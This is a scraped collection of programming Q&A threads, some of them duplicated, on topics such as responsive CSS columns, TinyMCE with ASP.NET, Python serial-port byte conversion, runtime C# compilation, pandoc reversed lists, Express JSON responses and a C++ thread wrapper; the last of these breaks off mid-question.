
.white,
.hover-white: hover {
  color: #000!important;
  background-color: #fff!important;
}

.margin-top {
  margin-top: 16px!important;
}

.margin-bottom {
  margin-bottom: 16px!important;
}

.margin-left {
  margin-left: 16px!important;
}

.margin-right {
  margin-right: 16px!important;
}

.right {
  float: right!important;
}

.display-container {
  position: relative;
}

.animate-opacity {
  animation: opac 0.8s;
}

@keyframes opac {
  from {
    opacity: 0;
  }
  to {
    opacity: 1;
  }
}

.xlarge {
  font-size: 24px!important;
}

.xxlarge {
  font-size: 36px!important;
}

.left-align {
  text-align: left!important;
}

.center {
  text-align: center!important;
}

.padding-65 {
  padding-top: 65px!important;
  padding-bottom: 65px!important;
}

.padding-64 {
  padding-top: 64px!important;
  padding-bottom: 64px!important;
}

.light-grey,
.hover-light-grey: hover {
  color: #000!important;
  background-color: #f1f1f1!important;
}

.bottombar {
  border-bottom: 6px solid #ccc!important;
}

.topbar {
  border-top: 6px solid #ccc!important;
}

.padding-16 {
  padding-top: 16px!important;
  padding-bottom: 16px!important;
}

.padding {
  padding: 8px 16px!important;
}

.quarter,
.third,
.twothird {
  float: left;
  width: 100%;
}

.quarter {
  width: 24.99999%;
}

.third {
  width: 33.33333%;
}

.twothird {
  width: 66.66666%;
}

.row-padding,
.row-padding>.quarter,
.row-padding>.third,
.row-padding>.twothird {
  padding: 0 8px;
}

.content {
  max-width: 980px;
  margin: auto;
}

.hide {
  display: none!important;
}

.show {
  display: block!important;
}

.container: after,
.container: before,
.panel: after,
.panel: before,
.row-padding: after,
.row-padding: before,
.bar: before,
.bar: after {
  content: "";
  display: table;
  clear: both;
}

.circle {
  border-radius: 50%;
}

.content-main {
  max-width: 1020px;
  margin: auto;
  min-height: 50px;
  overflow: hidden;
}

.leftbar {
  border-left: 6px solid #ccc!important;
}

.serif {
  font-family: serif;
}

.karma {
  font-family: "Karma", sans-serif;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><div class="container row-padding padding-64" id="about">
  <div class="content">
    <div class="twothird">
      <h1 class="xlarge bottombar padding-16">About</h1>
      <h5 class="padding-32">Between art and craft, lies The Chino A Serie.</h5>

      <p class="padding-32">Discover brand new wave of chinoserie inside us, whether you just want an instagenic background for your dayout or appreciate a new beauty, history and art while you sip your Macadamia Coffee or chop the Feast Roasta Lamb. We present you "turn-back
        time" experience through walking corridor gallery with theme from contemporer to ancient baroque style. Oh, once more! Check out the fusion tile work in the floor of the cafe.</p>

      <h5 class="padding-32 italic">Entre art et artisanat, se trouve La Chino A Série.</h5>

      <p class="padding-32 italic">Découvrez la toute nouvelle vague de chinoserie en nous, que vous souhaitiez simplement un arrière-plan instagène pour votre journée ou apprécier une nouvelle beauté, histoire et art pendant que vous sirotez votre Macadamia Coffee ou que vous coupez
        l'agneau Roasta Feast. Nous vous présentons l'expérience du temps de retour à travers la galerie de couloir à pied avec le thème du style contemporain à l'ancien style baroque. Oh, encore une fois! Découvrez le travail de carreaux de fusion dans
        le plancher du café.</p><br>
    </div><br><br>
    <div class="third center content padding-64">
      <img src="images/TealBird.jpg" alt="chinoiserie" style="width : 90%">
      <div class="panel">
        <p><i class="fa fa-quote-left xxlarge"></i><br>
          <i class="xlarge serif">White becomes teal, Birds free from the tale.
      </i><br>
          <i class="fa fa-quote-right xxlarge"></i>
        </p>
      </div>
    </div>
  </div>
</div></code>```

Title: Responsive column for CSS not working

Body:
Why does the image not automatically go down if I reduce the width(mobile device)? Is there something wrong with my , @media or something else?

*I tried to make it responsive like bootstrap column. I divide it : twothird and third part, but the third part doesn't go down responsively, stuck on the right side even if I already adjust twothird and third only implemented in device with min-width:601px. Please help.

Thank you in advance.*

html {
   box-sizing : border-box;
}*,
*:before,
*:after {
   box-sizing : inherit;
}

html {
   -ms-text-size-adjust : 100%;
   -webkit-text-size-adjust : 100%;
   overflow-x : hidden;
   min-height: 100%;
   min-width: 100%;
}

html, body {
   font-family : Verdana, sans-serif;
   font-size : 15px;
   line-height : 1.5;
}

body {
   margin : 0;
}

a {
   background-color : transparent;
   -webkit-text-decoration-skip : objects;
   color : inherit;
}

a : active, a : hover {
   outline-width : 0;
}

h1 {
   font-size : 36px;
}

h2 {
   font-size : 30px;
}

h3 {
   font-size : 24px;
}

h4 {
   font-size : 20px;
}

h5 {
   font-size : 18px;
}

h5.italic {
   font-style : italic;
}

h6 {
   font-size : 16px;
}

p {
   color : #757575!important;
}

p.italic {
    font-style : italic;
}

@media (min-width : 993px) {
   .hide-large {
      display : none!important;
   }
}

@media (max-width : 992px) and (min-width : 601px) {
   .hide-medium {
      display : none!important;
   }
}

@media (max-width:600px){
   .hide-small {
      display:none!important;
   } .content-main {
      flex-direction: row;
   }
}

@media (min-width:601px){
   .quarter {
      width : 24.99999%;
   } .third {
      width : 33.33333%;
   } .twothird {
      width : 66.66666%;
   }
}

@media (max-width:992px){
   .content-main {
      margin-left : 0!important;
      margin-right : 0!important;
   }
}

img {
   border-style : none;
}

.theme {
   color : #fff!important;
   background-color : #000000!important;
}

.theme-l1 {
   color : #fff!important;
   background-color : #333333!important;
}

.top,.bottom {
   position : fixed;
   width : 100%;
   z-index : 1;
}

.top {
   top : 0;
}

.bottom {
   bottom : 0;
}

.bar {
   width : 100%;
   overflow : hidden;
}

.container, .panel {
   padding : 0.01em 16px;
   min-height: 50px;
   overflow: hidden;
}

.panel {
   margin-top : 16px;
   margin-bottom : 16px;
}

.bar .bar-item {
   padding : 8px 16px;
   float : left;
   width : auto;
   border : none;
   outline : none;
   display : block;
}

.bar .button {
   white-space : normal;
}

.bar-block .bar-item{
   width : 100%;
   display : block;
   padding : 8px 16px;
   text-align : left;
   border : none;
   outline : none;
   white-space : normal;
   float : none;
}

.button {
   -webkit-touch-callout : none;
   -webkit-user-select : none;
   -khtml-user-select : none;
   -moz-user-select : none;
   -ms-user-select : none;
   user-select : none;
   border : none;
   display : inline-block;
   outline : 0;
   padding : 8px 16px;
   vertical-align : middle;
   overflow : hidden;
   text-decoration : none;
   color : inherit;
   background-color : inherit;
   text-align : center;
   cursor : pointer;
   white-space : nowrap;
}

.button : hover {
   color : #000!important;
   background-color : #ccc!important;
}

.button : disabled{
   cursor : not-allowed;
   opacity : 0.3;
}

.teal {
   color : #fff!important;
   background-color : #009688!important;
}

.teal, .hover-teal : hover {
   color : #fff!important;
   background-color : #009688!important;
}

.white, .hover-white : hover {
   color : #000!important;
   background-color : #fff!important;
}

.margin-top {
   margin-top : 16px!important;
}

.margin-bottom {
   margin-bottom : 16px!important;
}

.margin-left {
   margin-left : 16px!important;
}

.margin-right {
   margin-right : 16px!important;
}

.right {
   float : right!important;
}

.display-container {
   position : relative;
}

.animate-opacity {
   animation : opac 0.8s;
} @keyframes opac {
   from {
      opacity : 0;
   } to {
      opacity : 1;
   }
}

.xlarge {
   font-size : 24px!important;
}

.xxlarge{
   font-size : 36px!important;
}

.left-align {
   text-align : left!important;
}

.center {
   text-align : center!important;
}

.padding-65 {
   padding-top : 65px!important;
   padding-bottom : 65px!important;
}

.padding-64 {
   padding-top : 64px!important;
   padding-bottom : 64px!important;
}

.light-grey, .hover-light-grey : hover {
   color : #000!important;
   background-color : #f1f1f1!important;
}

.bottombar {
   border-bottom : 6px solid #ccc!important;
}

.topbar {
   border-top : 6px solid #ccc!important;
}

.padding-16 {
   padding-top : 16px!important;
   padding-bottom : 16px!important;
}

.padding {
   padding : 8px 16px!important;
}
.quarter, .third,
.twothird {
   float : left;
   width : 100%;
}

.quarter {
   width : 24.99999%;
}

.third {
   width : 33.33333%;
}

.twothird {
   width : 66.66666%;
}

.row-padding,
.row-padding > .quarter,
.row-padding > .third,
.row-padding > .twothird {
   padding : 0 8px;
}

.content{
   max-width : 980px;
   margin : auto;
}

.hide{
   display : none!important;
}

.show {
   display : block!important;
}

.container : after, .container : before,
.panel : after, .panel : before,
.row-padding : after, .row-padding : before,
.bar : before, .bar : after {
   content : "";
   display : table;
   clear : both;
}

.circle {
   border-radius : 50%;
}

.content-main {
   max-width : 1020px;
   margin : auto;
   min-height: 50px;
   overflow: hidden;
}

.leftbar {
   border-left : 6px solid #ccc!important;
}

.serif {
   font-family : serif;
}

.karma {
   font-family :"Karma", sans-serif;
}

About

Between art and craft, lies The Chino A Serie.

Discover brand new wave of chinoserie inside us, whether you just want an instagenic background for your dayout or appreciate a new beauty, history and art while you sip your Macadamia Coffee or chop the Feast Roasta Lamb. We present you "turn-back time" experience through walking corridor gallery with theme from contemporer to ancient baroque style. Oh, once more! Check out the fusion tile work in the floor of the cafe.

Entre art et artisanat, se trouve La  Chino A Série.

Découvrez la toute nouvelle vague de chinoserie en nous, que vous souhaitiez simplement un arrière-plan instagène pour votre journée ou apprécier une nouvelle beauté, histoire et art pendant que vous sirotez votre Macadamia Coffee ou que vous coupez l'agneau Roasta Feast. Nous vous présentons l'expérience du temps de retour à travers la galerie de couloir à pied avec le thème du style contemporain à l'ancien style baroque. Oh, encore une fois! Découvrez le travail de carreaux de fusion dans le plancher du café.

      White becomes teal, Birds free from the tale.

Body:
You can add clear: both to .thirdcss class where max-width:600px

The clear property specifies on which sides of an element floating
  elements are not allowed to float

I suggest to redesign the html structure (it seems too complexe) or use a framework like bootstrap if you can.

html {
  box-sizing: border-box;
}

*,
*:before,
*:after {
  box-sizing: inherit;
}

html {
  -ms-text-size-adjust: 100%;
  -webkit-text-size-adjust: 100%;
  overflow-x: hidden;
  min-height: 100%;
  min-width: 100%;
}

html,
body {
  font-family: Verdana, sans-serif;
  font-size: 15px;
  line-height: 1.5;
}

body {
  margin: 0;
}

a {
  background-color: transparent;
  -webkit-text-decoration-skip: objects;
  color: inherit;
}

a: active,
a: hover {
  outline-width: 0;
}

h1 {
  font-size: 36px;
}

h2 {
  font-size: 30px;
}

h3 {
  font-size: 24px;
}

h4 {
  font-size: 20px;
}

h5 {
  font-size: 18px;
}

h5.italic {
  font-style: italic;
}

h6 {
  font-size: 16px;
}

p {
  color: #757575!important;
}

p.italic {
  font-style: italic;
}

@media (min-width: 993px) {
  .hide-large {
    display: none!important;
  }
}

@media (max-width: 992px) and (min-width: 601px) {
  .hide-medium {
    display: none!important;
  }
}

@media (max-width:600px) {
  .hide-small {
    display: none!important;
  }
  .content-main {
    flex-direction: row;
  }
  .third {
    clear: both;
  }
}

@media (min-width:601px) {
  .quarter {
    width: 24.99999%;
  }
  .third {
    width: 33.33333%;
  }
  .twothird {
    width: 66.66666%;
  }
}

@media (max-width:992px) {
  .content-main {
    margin-left: 0!important;
    margin-right: 0!important;
  }
}

img {
  border-style: none;
}

.theme {
  color: #fff!important;
  background-color: #000000!important;
}

.theme-l1 {
  color: #fff!important;
  background-color: #333333!important;
}

.top,
.bottom {
  position: fixed;
  width: 100%;
  z-index: 1;
}

.top {
  top: 0;
}

.bottom {
  bottom: 0;
}

.bar {
  width: 100%;
  overflow: hidden;
}

.container,
.panel {
  padding: 0.01em 16px;
  min-height: 50px;
  overflow: hidden;
}

.panel {
  margin-top: 16px;
  margin-bottom: 16px;
}

.bar .bar-item {
  padding: 8px 16px;
  float: left;
  width: auto;
  border: none;
  outline: none;
  display: block;
}

.bar .button {
  white-space: normal;
}

.bar-block .bar-item {
  width: 100%;
  display: block;
  padding: 8px 16px;
  text-align: left;
  border: none;
  outline: none;
  white-space: normal;
  float: none;
}

.button {
  -webkit-touch-callout: none;
  -webkit-user-select: none;
  -khtml-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  border: none;
  display: inline-block;
  outline: 0;
  padding: 8px 16px;
  vertical-align: middle;
  overflow: hidden;
  text-decoration: none;
  color: inherit;
  background-color: inherit;
  text-align: center;
  cursor: pointer;
  white-space: nowrap;
}

.button: hover {
  color: #000!important;
  background-color: #ccc!important;
}

.button: disabled {
  cursor: not-allowed;
  opacity: 0.3;
}

.teal {
  color: #fff!important;
  background-color: #009688!important;
}

.teal,
.hover-teal: hover {
  color: #fff!important;
  background-color: #009688!important;
}

.white,
.hover-white: hover {
  color: #000!important;
  background-color: #fff!important;
}

.margin-top {
  margin-top: 16px!important;
}

.margin-bottom {
  margin-bottom: 16px!important;
}

.margin-left {
  margin-left: 16px!important;
}

.margin-right {
  margin-right: 16px!important;
}

.right {
  float: right!important;
}

.display-container {
  position: relative;
}

.animate-opacity {
  animation: opac 0.8s;
}

@keyframes opac {
  from {
    opacity: 0;
  }
  to {
    opacity: 1;
  }
}

.xlarge {
  font-size: 24px!important;
}

.xxlarge {
  font-size: 36px!important;
}

.left-align {
  text-align: left!important;
}

.center {
  text-align: center!important;
}

.padding-65 {
  padding-top: 65px!important;
  padding-bottom: 65px!important;
}

.padding-64 {
  padding-top: 64px!important;
  padding-bottom: 64px!important;
}

.light-grey,
.hover-light-grey: hover {
  color: #000!important;
  background-color: #f1f1f1!important;
}

.bottombar {
  border-bottom: 6px solid #ccc!important;
}

.topbar {
  border-top: 6px solid #ccc!important;
}

.padding-16 {
  padding-top: 16px!important;
  padding-bottom: 16px!important;
}

.padding {
  padding: 8px 16px!important;
}

.quarter,
.third,
.twothird {
  float: left;
  width: 100%;
}

.quarter {
  width: 24.99999%;
}

.third {
  width: 33.33333%;
}

.twothird {
  width: 66.66666%;
}

.row-padding,
.row-padding>.quarter,
.row-padding>.third,
.row-padding>.twothird {
  padding: 0 8px;
}

.content {
  max-width: 980px;
  margin: auto;
}

.hide {
  display: none!important;
}

.show {
  display: block!important;
}

.container: after,
.container: before,
.panel: after,
.panel: before,
.row-padding: after,
.row-padding: before,
.bar: before,
.bar: after {
  content: "";
  display: table;
  clear: both;
}

.circle {
  border-radius: 50%;
}

.content-main {
  max-width: 1020px;
  margin: auto;
  min-height: 50px;
  overflow: hidden;
}

.leftbar {
  border-left: 6px solid #ccc!important;
}

.serif {
  font-family: serif;
}

.karma {
  font-family: "Karma", sans-serif;
}

<div class="container row-padding padding-64" id="about">
  <div class="content">
    <div class="twothird">
      <h1 class="xlarge bottombar padding-16">About</h1>
      <h5 class="padding-32">Between art and craft, lies The Chino A Serie.</h5>

      <p class="padding-32">Discover brand new wave of chinoserie inside us, whether you just want an instagenic background for your dayout or appreciate a new beauty, history and art while you sip your Macadamia Coffee or chop the Feast Roasta Lamb. We present you "turn-back
        time" experience through walking corridor gallery with theme from contemporer to ancient baroque style. Oh, once more! Check out the fusion tile work in the floor of the cafe.</p>

      <h5 class="padding-32 italic">Entre art et artisanat, se trouve La Chino A Série.</h5>

      <p class="padding-32 italic">Découvrez la toute nouvelle vague de chinoserie en nous, que vous souhaitiez simplement un arrière-plan instagène pour votre journée ou apprécier une nouvelle beauté, histoire et art pendant que vous sirotez votre Macadamia Coffee ou que vous coupez
        l'agneau Roasta Feast. Nous vous présentons l'expérience du temps de retour à travers la galerie de couloir à pied avec le thème du style contemporain à l'ancien style baroque. Oh, encore une fois! Découvrez le travail de carreaux de fusion dans
        le plancher du café.</p><br>
    </div><br><br>
    <div class="third center content padding-64">
      <img src="images/TealBird.jpg" alt="chinoiserie" style="width : 90%">
      <div class="panel">
        <p><i class="fa fa-quote-left xxlarge"></i><br>
          <i class="xlarge serif">White becomes teal, Birds free from the tale.
      </i><br>
          <i class="fa fa-quote-right xxlarge"></i>
        </p>
      </div>
    </div>
  </div>
</div>


问:
Details View and integration with TinyMCE <%@ Page validateRequest="false" %>
I use TinyMCE in a DetailView in in EDIT MODE.

I would like to know if there is a solution which can prevent Request Validation to trigger an error

WITHOUT USING <%@ Page validateRequest="false" %> for my page.

The only way I found out at the moment is to encode TextBox used by TinyMCE using option: "xml"

```<code>tinyMCE.init({
        encoding: "xml",
</code>```

In this way Request Validation does not trigger error but at the time to read the data in the TextBox the result it is Encoded.
I also tried to Decode on PageLoad the content of the TextBox using this code

```<code>myTextBox.Text = HttpUtility.HtmlDecode(myTextBox.Text)
</code>```

But the result is not as expected, so I can visualize it just Encoded text.

Any Ideas? Thanks

UPDATE

I found a solution to my problem.
I added in _DataBound event for the DetailsView this code

```<code>       TextBox myContentAuthor = (TextBox)uxAuthorListDetailsView.FindControl("uxContentAuthorInput");
        myContentAuthor.Text = HttpUtility.HtmlDecode(myContentAuthor.Text);
</code>```

So on DataBound event, (should work even on post back) the content will be decodene for textbox tinymce.

Here how should work:

01 - TinyMCE ESCAPE data inserted in textbox using function encoding: "xml",

02 - Data has been stored as ESCAPED

03 - To read the data and add its content to a TextBox where apply TinyMCE use in DATABOUND EVENT for DetailView and HttpUtility.HtmlDecode (so it will look decoded)

04 - You can modify content in the textbox in edit mode. On post back TinyMCE will encoded again using encoding: "xml" an so on

Hope guys can help some one else.

But please give me your comment on this solution thanks! Mybe you come up with more elegant solution! :-)

答: this can also be done by removing html tags from the data before the page postback.</p>

Body:
I use TinyMCE in a DetailView in in EDIT MODE.

I would like to know if there is a solution which can prevent Request Validation to trigger an error

WITHOUT USING <%@ Page validateRequest="false" %> for my page.

The only way I found out at the moment is to encode TextBox used by TinyMCE using option: "xml"

tinyMCE.init({
        encoding: "xml",

In this way Request Validation does not trigger error but at the time to read the data in the TextBox the result it is Encoded.
I also tried to Decode on PageLoad the content of the TextBox using this code

myTextBox.Text = HttpUtility.HtmlDecode(myTextBox.Text)

But the result is not as expected, so I can visualize it just Encoded text.

Any Ideas? Thanks

UPDATE

I found a solution to my problem.
I added in _DataBound event for the DetailsView this code

       TextBox myContentAuthor = (TextBox)uxAuthorListDetailsView.FindControl("uxContentAuthorInput");
        myContentAuthor.Text = HttpUtility.HtmlDecode(myContentAuthor.Text);

So on DataBound event, (should work even on post back) the content will be decodene for textbox tinymce.

Here how should work:

01 - TinyMCE ESCAPE data inserted in textbox using function encoding: "xml",

02 - Data has been stored as ESCAPED

03 - To read the data and add its content to a TextBox where apply TinyMCE use in DATABOUND EVENT for DetailView and HttpUtility.HtmlDecode (so it will look decoded)

04 - You can modify content in the textbox in edit mode. On post back TinyMCE will encoded again using encoding: "xml" an so on

Hope guys can help some one else.

But please give me your comment on this solution thanks! Mybe you come up with more elegant solution! :-)


问:
how to convert integer to binary for serial port
I am trying to send a value over serial port. I am unsure how to convert it into the correct format. I tried bin() for binary and format() but it didn't work.

```<code>result = 2
ser.open()
ser.write(b'1')
time.sleep(3)

ser.write(result)                 # wrong format
ser.write("{0:b}".format(result)) # TypeError: unicode strings
                                  # are not supported, please
                                  # encode to bytes: '10'
</code>```

The first write operation sends '1' as binary string. Now I want the variable to be send as binary string as well.

答:
write() requires a bytes object.

```<code>>>> help(serial.Serial.write)
Help on function write in module serial.serialwin32:

write(self, data)
    Output the given byte string over the serial port.
</code>```

To convert an integer to bytes, call int.to_bytes().

```<code>>>> result = 2
>>> b = result.to_bytes(4, 'little')
>>> b
b'\x02\x00\x00\x00'
>>> # to convert back to an integer
>>> int.from_bytes(b, 'little')
2
</code>```

Body:
I am trying to send a value over serial port. I am unsure how to convert it into the correct format. I tried bin() for binary and format() but it didn't work.

result = 2
ser.open()
ser.write(b'1')
time.sleep(3)

ser.write(result)                 # wrong format
ser.write("{0:b}".format(result)) # TypeError: unicode strings
                                  # are not supported, please
                                  # encode to bytes: '10'

The first write operation sends '1' as binary string. Now I want the variable to be send as binary string as well.

Body:
write() requires a bytes object.

>>> help(serial.Serial.write)
Help on function write in module serial.serialwin32:

write(self, data)
    Output the given byte string over the serial port.

To convert an integer to bytes, call int.to_bytes().

>>> result = 2
>>> b = result.to_bytes(4, 'little')
>>> b
b'\x02\x00\x00\x00'
>>> # to convert back to an integer
>>> int.from_bytes(b, 'little')
2


问:
Debug C# method at runtime
I am working on an application that should compile and debug C# code on the fly.

A simplified version of the code is included below.

What should be changed in this code to run the generated method step by step and get the state of the variables x and y after each step?

If everything should be changed that is okay, I am happy with any constructive response.

EDIT: to clarify: what I want to do is have my code debug the code that is generated with reflection, not the debug function in Visual Studio.

```<code>string code =
@"
namespace MyNameSpace
{
    public class MyClass
    {
        public static int MyMethod()
        {
            var x = 3;
            var y = 4;
            return x * y;
        }
    }
}";

string namespaceName = "MyNameSpace";
string className = "MyClass";
string methodName = "MyMethod";
string language = "csharp";
string classFullname = namespaceName + "." + className;

CodeDomProvider provider = CodeDomProvider.CreateProvider(language);
CompilerParameters parameters = new CompilerParameters();
CompilerResults results;

parameters.OutputAssembly = "Compiler";

parameters.CompilerOptions = "/t:library";
parameters.GenerateInMemory = true;
parameters.GenerateExecutable = false;
parameters.IncludeDebugInformation = true;

results = provider.CompileAssemblyFromSource(parameters, code);

if (results.Errors.Count != 0)
{
    throw new Exception("Code compilation errors occurred.");
}

var instance = results.CompiledAssembly.CreateInstance(classFullname, false);

// TODO run the method step by step and get the state after each step
</code>```

答:
This configuration may help you:</p>

```<code>parameters.GenerateInMemory = false; //default
parameters.TempFiles = new
TempFileCollection(Environment.GetEnvironmentVariable("TEMP"), true);
parameters.IncludeDebugInformation = true;
parameters.TempFiles.KeepFiles = true
</code>```

Title: Debug C# method at runtime

Body:
I am working on an application that should compile and debug C# code on the fly.

A simplified version of the code is included below.

What should be changed in this code to run the generated method step by step and get the state of the variables x and y after each step?

If everything should be changed that is okay, I am happy with any constructive response.

EDIT: to clarify: what I want to do is have my code debug the code that is generated with reflection, not the debug function in Visual Studio.

string code =
@"
namespace MyNameSpace
{
    public class MyClass
    {
        public static int MyMethod()
        {
            var x = 3;
            var y = 4;
            return x * y;
        }
    }
}";

string namespaceName = "MyNameSpace";
string className = "MyClass";
string methodName = "MyMethod";
string language = "csharp";
string classFullname = namespaceName + "." + className;

CodeDomProvider provider = CodeDomProvider.CreateProvider(language);
CompilerParameters parameters = new CompilerParameters();
CompilerResults results;

parameters.OutputAssembly = "Compiler";

parameters.CompilerOptions = "/t:library";
parameters.GenerateInMemory = true;
parameters.GenerateExecutable = false;
parameters.IncludeDebugInformation = true;

results = provider.CompileAssemblyFromSource(parameters, code);

if (results.Errors.Count != 0)
{
    throw new Exception("Code compilation errors occurred.");
}

var instance = results.CompiledAssembly.CreateInstance(classFullname, false);

// TODO run the method step by step and get the state after each step

Body:
This configuration may help you:

parameters.GenerateInMemory = false; //default
parameters.TempFiles = new
TempFileCollection(Environment.GetEnvironmentVariable("TEMP"), true);
parameters.IncludeDebugInformation = true;
parameters.TempFiles.KeepFiles = true


问:
Descending ordered lists in pandoc markdown
In HTML, I can reverse the numbering of an ordered list by simply adding a reversed attribute:

```<code><ol reversed>
 <li>This is numbered 2</li>
 <li>This is numbered 1</li>
</ol>
</code>```

Is there a method for achieving something similar in pandoc markdown? What I would like to do is to write the list in the usual way, as follows,

```<code>2. This is numbered 2
1. This is numbered 1
</code>```

and then add some annotation (either markdown or raw HTML) which achieves the effect of the HTML code above. (Just writing the pandoc markdown list as above produces the usual ascending ordering of labels).  I am only interested in having the labels appear in a descending order: I want the items themselves to appear in the same order as in the HTML/Markdown code.

The appropriate section of the pandoc manual does not seem to suggest anything specific.

One of the things which I tried, and which does not work, is to attempt to use CSS for adding the reversed attribute, after wrapping the markdown list in a div using raw HTML:

```<code><style>
div.rev-lists > ol {
  reversed;
}
</style>

<div class="rev-lists">

 2. This is numbered 2
 1. This is numbered 1

</div>
</code>```

But the CSS code fails to add the reversed attribute to the ol tag.

答:
The CSS should be along the lines of (adapted from this):

```<code>.rev-lists > ol {
  list-style-type:none;
  counter-reset:item 6;
}
.rev-lists > ol > li {
  counter-increment:item -1;
}
.rev-lists > ol > li:after {
  content: counter(item);
}
</code>```

P.S. Instead of:

```<code><div class="rev-lists">
2. This is numbered 2
1. This is numbered 1
</div>
</code>```

since pandoc 2.0 you can also do:

```<code>::: rev-lists
2. This is numbered 2
1. This is numbered 1
:::
</code>```

Body:
In HTML, I can reverse the numbering of an ordered list by simply adding a reversed attribute:

This is numbered 2

This is numbered 1

Is there a method for achieving something similar in pandoc markdown? What I would like to do is to write the list in the usual way, as follows,

2. This is numbered 2
1. This is numbered 1

and then add some annotation (either markdown or raw HTML) which achieves the effect of the HTML code above. (Just writing the pandoc markdown list as above produces the usual ascending ordering of labels).  I am only interested in having the labels appear in a descending order: I want the items themselves to appear in the same order as in the HTML/Markdown code.

The appropriate section of the pandoc manual does not seem to suggest anything specific.

One of the things which I tried, and which does not work, is to attempt to use CSS for adding the reversed attribute, after wrapping the markdown list in a div using raw HTML:

 2. This is numbered 2
 1. This is numbered 1

But the CSS code fails to add the reversed attribute to the ol tag.

Body:
The CSS should be along the lines of (adapted from this):

.rev-lists > ol {
  list-style-type:none;
  counter-reset:item 6;
}
.rev-lists > ol > li {
  counter-increment:item -1;
}
.rev-lists > ol > li:after {
  content: counter(item);
}

P.S. Instead of:

<div class="rev-lists">
2. This is numbered 2
1. This is numbered 1
</div>

since pandoc 2.0 you can also do:

::: rev-lists
2. This is numbered 2
1. This is numbered 1
:::


问:
When printing an image, what determines how large it will appear on a page?
Using Python's Imaging Library I want to create a PNG file.

I would like it if when printing this image, without any scaling, it would always print at a known and consistent 'size' on the printed page.

Is the resolution encoded in the image?

If so, how do I specify it?

And even if it is, does this have any relevance when it goes to the printer?

答: Printers have various resolutions in which they print. If you select a print resolution of 200 DPI for instance (or if it's set as default in the printer driver), then a 200 pixel image should be one inch in size.</p>

OwnerDisplayName: carrier

OwnerDisplayName: Spikolynn


答:
You have to convert a string to JSON

```<code>String itmes=remoteMessage.data.get("data");

JSONObject jsonObject = new JSONObject(items);
JSONArray itemsArray=jsonObject.optJSONArray("items");
</code>```

you can have array items in itemsArray.

Title: How to iterate arrays in an FCM data payload?

Body:
You have to convert a string to JSON

String itmes=remoteMessage.data.get("data");

JSONObject jsonObject = new JSONObject(items);
JSONArray itemsArray=jsonObject.optJSONArray("items");

you can have array items in itemsArray.


问:
Data from server to client in NodeJS express
I am new to NodeJS.
I want to perform a task where, HTML submit button POST data to server
below is the HTML code,

```<code><form action="/Device_Data" method="post">
  <select name="deviceSelect" id="deviceSelect" class="selectdevice" type = "text" style="margin-top:1.5%">
    <option value="" selected="selected">Choose Device</option>
    <option value="Device1">Device 1</option>
    <option value="Device2">Device 2</option>
    <option value="Device3">Device 3</option>
    <option value="Device4">Device 4</option>
    <option value="Device5">Device 5</option>
    <option value="Device6">Device 6</option>
    <option value="Device7">Device 7</option>
    <option value="Device8">Device 8</option>
  </select>
  <button id="Import" value="Import" class="button1" type="submit" >Import</button>
</form>
</code>```

Server received the Data in req.body.

```<code>app.post("/Device_Data", function (req, res) {
  console.log("Got response: " + res.statusCode);

  // result.entries contains entities matching the query
  res.setHeader('Content-Type', 'application/json');
  //console.log(req.body.deviceSelect);

  var deviceSelected = (req.body.deviceSelect);
  console.log(deviceSelected);

  var devData = ["deviceId","trainId", "messageId"];

  //var devData = [];
  var text = JSON.stringify(response.body);
  var obj = JSON.parse(text);
  res.write("Hello");
});
</code>```

Now the part I have question is,
How I can send devData array of string from server to my client and what should be code for that?

Thanks in advance.

答:
According to express documentation, use res.json to send json data as an request answer.

```<code>res.status(200).json(devData);
</code>```

Example from documentation :

```<code>res.json(null);
res.json({ user: 'tobi' });
res.status(500).json({ error: 'message' });
</code>```

Body:
I am new to NodeJS.
I want to perform a task where, HTML submit button POST data to server
below is the HTML code,

<form action="/Device_Data" method="post">
  <select name="deviceSelect" id="deviceSelect" class="selectdevice" type = "text" style="margin-top:1.5%">
    <option value="" selected="selected">Choose Device</option>
    <option value="Device1">Device 1</option>
    <option value="Device2">Device 2</option>
    <option value="Device3">Device 3</option>
    <option value="Device4">Device 4</option>
    <option value="Device5">Device 5</option>
    <option value="Device6">Device 6</option>
    <option value="Device7">Device 7</option>
    <option value="Device8">Device 8</option>
  </select>
  <button id="Import" value="Import" class="button1" type="submit" >Import</button>
</form>

Server received the Data in req.body.

app.post("/Device_Data", function (req, res) {
  console.log("Got response: " + res.statusCode);

  // result.entries contains entities matching the query
  res.setHeader('Content-Type', 'application/json');
  //console.log(req.body.deviceSelect);

  var deviceSelected = (req.body.deviceSelect);
  console.log(deviceSelected);

  var devData = ["deviceId","trainId", "messageId"];

  //var devData = [];
  var text = JSON.stringify(response.body);
  var obj = JSON.parse(text);
  res.write("Hello");
});

Now the part I have question is,
How I can send devData array of string from server to my client and what should be code for that?

Thanks in advance.

Body:
According to express documentation, use res.json to send json data as an request answer.

res.status(200).json(devData);

Example from documentation :

res.json(null);
res.json({ user: 'tobi' });
res.status(500).json({ error: 'message' });


问:
A regex for this case
I can not find a regex for a line like this:

0:1,2,3;
or
23:2,34,0;

Can you help me ?

Thanks!

答:
This should match both strings:</p>

```<code>^\d+:\d+,\d+,\d;$
</code>```

Title: A regex for this case

Body:
This should match both strings:

^\d+:\d+,\d+,\d;$


问:
Passing forwarding references to thread wrapper class
Let's take a look at the concrete functions first:

```<code>void boo1 () { std::cout << "boo1\n"; }
void boo2 (std::string) { std::cout << "boo2\n"; }

struct X {
    void boo3 () { std::cout << "boo3\n"; }
    void boo4 (std::string) { std::cout << "boo4\n"; }
};
</code>```

I want those functions to be executed with some "guard" function, which does exception protection (explanation below). So, I have written two functions one for free functions and the other for member functions:

```<code>template <typename C, typename... Args>
typename std::enable_if<!std::is_member_function_pointer<C>::value, void>::type
foo (C&& c, Args&&... args) {
    std::cout << "not memfun\n";
    c (std::forward<Args> (args)...);
}

template <typename C, typename T, typename... Args>
typename std::enable_if<std::is_member_function_pointer<C>::value, void>::type
foo (C&& c, T* o, Args&&... args) {
    std::cout << "memfun\n";
    (o->*c) (std::forward<Args> (args)...);
}
</code>```

And now I want to execute boo1(), boo2(), X::boo3() and X::boo4() in new threads but with "protection" used by foo() functions. So, without any problem I can do this with:

```<code>X x;
std::thread th1 {&foo<void (*) ()>, &boo1};
std::thread th2 {&foo<void (*) (std::string), std::string>, &boo2, "Hello"};
std::thread th3 {&foo<void (X::*) (), X>, &X::boo3, &x};
std::thread th4 {&foo<void (X::*) (std::string), X, std::string>, &X::boo4, &x, "Hello"};
</code>```

